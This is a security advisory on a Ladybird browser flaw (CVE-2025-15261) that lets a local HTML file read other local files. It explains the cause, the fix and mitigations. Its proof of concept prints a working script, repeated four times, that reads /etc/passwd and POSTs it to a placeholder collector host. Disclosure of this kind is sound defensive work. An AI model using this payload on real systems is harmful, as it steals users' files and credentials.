Ladybird before 3a9a8e38f85 - Unauthorized access to files

8,2

High

Discovered by

Camilo Vera

Offensive Team, Fluid Attacks

Abstract

Fluid Attacks discovered CVE-2025-15261, a high-severity origin validation error (CWE-346) in Ladybird (pre-alpha) before 3a9a8e38f85. A local HTML file can read files accessible to the browser and exfiltrate them to an HTTPS endpoint. It has a CVSS v4.0 base score of 8.2. Upgrade to Ladybird 2026.47.7 or later. Fluid Attacks assigned this CVE as a CNA, and this advisory includes a proof of concept.

Summary

Full name

Ladybird before 3a9a8e38f85 - Unauthorized access to arbitrary local files through file URL origin validation

Code name

State

Public

Release date

Affected product

Ladybird

Vendor

LadybirdBrowser

Affected version(s)

before 3a9a8e38f85

Fixed version(s)

2026.47.7 or later (contains 3a9a8e38f85, PR #7309)

Vulnerability name

Unauthorized access to files

Remotely exploitable

Yes

CVSS v4.0 vector string

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N

CVSS v4.0 base score

8.2

Exploit available

Yes

Description

Ladybird (pre-alpha) before commit 3a9a8e38f85 allows a local HTML document opened with a file: URL to read arbitrary files accessible to the Ladybird process and exfiltrate their contents to an attacker-controlled HTTPS endpoint. The issue occurs because local file: URLs share a tuple origin and are treated as same-origin during Fetch processing.

Vulnerability

Root Cause

The vulnerable URL-origin implementation returned the same tuple origin for all file: URLs. A malicious local document and a distinct target file were consequently same-origin despite being unrelated filesystem objects.

Source-to-sink path

  1. Source — attacker-controlled local document: The victim opens an attacker-controlled HTML file using a file: URL. JavaScript in that document invokes fetch() with a second file: URL naming a file that the Ladybird process can read.

  2. Incorrect origin assignment: In the affected origin implementation, Libraries/LibURL/URL.cpp returned Origin(scheme(), String {}, {}) for file: URLs. This assigned both the attacker document and the target file the shared tuple origin (file, empty host, no port) instead of distinct opaque origins.

  3. Same-origin classification: In Libraries/LibWeb/Fetch/Fetching/Fetching.cpp, the main-fetch algorithm compared request->current_url().origin() with the request origin. Because the shared tuples compared equal and response tainting was basic, the algorithm selected the same-origin branch, set response tainting to basic, and called scheme_fetch().

  4. Local-file loader: The file: branch of scheme_fetch() delegated to nonstandard_resource_loader_file_or_http_network_fetch(). That path reached Libraries/LibWeb/Loader/ResourceLoader.cpp, which serviced the file: request through the local file loader using the browser process's filesystem access.

  5. Readable response — sink: Basic response tainting produced a BasicFilteredResponse, not an opaque response. Consequently, Response.text() in the attacker-controlled document could consume the target file body. The document could then submit those bytes to an attacker-controlled HTTPS endpoint.

The final patch, 3a9a8e38f85bcf7ed5dd8f3e31538ffee087786f, rejects file: or resource: requests whose destination is empty. Programmatic fetch() and XMLHttpRequest requests have an empty destination, whereas browser-initiated subresource loads have a destination. This blocks the data-read primitive without preventing legitimate local scripts, styles, fonts, or similar subresources. The preceding hardening commit 1be69479a62d25cff665cc58bb8825a10a514c31 also changed file: to opaque origins by default; the final Fetch guard preserves protection even when tuple origins are deliberately enabled for development or compatibility testing.

Impact

An attacker who persuades a user to open a malicious local HTML file can disclose arbitrary files readable by the Ladybird process, including potentially sensitive credentials, SSH keys, and configuration files. Integrity and availability are not directly affected by this primitive.

PoC

Preconditions

  • A Linux build of Ladybird at commit 763d638353135d5ee18f28e055c407ac7fc3ed31.

  • A local HTML file controlled by the attacker.

  • A reachable HTTPS collector with a certificate trusted by the Ladybird build.

  • A readable /etc/passwd fixture. The advisory uses this conventional Linux file to demonstrate disclosure; it does not establish access to files denied by operating-system permissions.

Step-by-step

  1. Build and launch Ladybird at commit 763d638353135d5ee18f28e055c407ac7fc3ed31.

  2. Start an HTTPS collector at https://YOUR-COLLECTOR/collect that records the POST request body. HTTPS is required because mixed-content protections can block an HTTP collection endpoint.

  3. Save the following content as collier.html, replacing only YOUR-COLLECTOR with the collector host:

    <!doctype html>
    <meta charset="utf-8">
    <script>
    (async () => {
      const exfilUrl = "https://YOUR-COLLECTOR/collect";
      const r = await fetch("file:///etc/passwd");
      const t = await r.text();
      await fetch(exfilUrl, { method: "POST", mode: "no-cors", body: btoa(t) });
    })();
    </script>
    <!doctype html>
    <meta charset="utf-8">
    <script>
    (async () => {
      const exfilUrl = "https://YOUR-COLLECTOR/collect";
      const r = await fetch("file:///etc/passwd");
      const t = await r.text();
      await fetch(exfilUrl, { method: "POST", mode: "no-cors", body: btoa(t) });
    })();
    </script>
    <!doctype html>
    <meta charset="utf-8">
    <script>
    (async () => {
      const exfilUrl = "https://YOUR-COLLECTOR/collect";
      const r = await fetch("file:///etc/passwd");
      const t = await r.text();
      await fetch(exfilUrl, { method: "POST", mode: "no-cors", body: btoa(t) });
    })();
    </script>
    <!doctype html>
    <meta charset="utf-8">
    <script>
    (async () => {
      const exfilUrl = "https://YOUR-COLLECTOR/collect";
      const r = await fetch("file:///etc/passwd");
      const t = await r.text();
      await fetch(exfilUrl, { method: "POST", mode: "no-cors", body: btoa(t) });
    })();
    </script>


  4. Navigate Ladybird to the absolute file: URL of collier.html, for example file:///tmp/collier.html.

  5. The script requests file:///etc/passwd, reads the returned body with Response.text(), Base64-encodes that text with btoa(), and issues a no-cors POST to the HTTPS collector.

Evidence of Exploitation

  • Video of exploitation:

  • Static evidence:

Our security policy

We have reserved the ID CVE-2025-15261 to refer to this issue from now on.

Disclosure policy

System Information

  • Vendor: LadybirdBrowser

  • Product: Ladybird (pre-alpha)

  • Affected version: commit 763d638353135d5ee18f28e055c407ac7fc3ed31

  • Fixed version: 2026.47.7 or later (first tagged release containing 3a9a8e38f85, PR #7309)

  • Platforms: Linux, macOS, and Windows through WSL2

References

Solution and Workaround

Solution

Upgrade to Ladybird 2026.47.7 or later. This is the first tagged release containing commit 3a9a8e38f85 (PR #7309).

For maintained downstream source builds, incorporate both upstream changes rather than attempting to filter individual paths: commit 1be69479a62d25cff665cc58bb8825a10a514c31 assigns opaque origins to file: URLs by default, and commit 3a9a8e38f85bcf7ed5dd8f3e31538ffee087786f rejects programmatic file: and resource: requests with an empty destination. Retain the associated Fetch and XMLHttpRequest regression tests so that browser-initiated local subresources remain functional while script-initiated file reads stay blocked.

Workaround and temporary mitigation

Until the upgrade is deployed, do not open untrusted local HTML files in affected builds. Do not enable --tuple-file-origins: that development and compatibility option restores shared tuple origins for file: URLs. Where local HTML handling is unavoidable, run the affected browser under a dedicated operating-system account with access only to the files required for that workflow and restrict outbound network access from that account. These measures reduce the files available to the browser and the opportunity for exfiltration, but do not correct the vulnerable Fetch behavior.

Credits

The vulnerability was discovered by Camilo Vera from Fluid Attacks' Offensive Team.

Timeline

Vulnerability discovered

Vendor contacted

Vendor replied

Vendor confirmed

Vulnerability patched

Public disclosure

Does your application use this vulnerable software?

During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.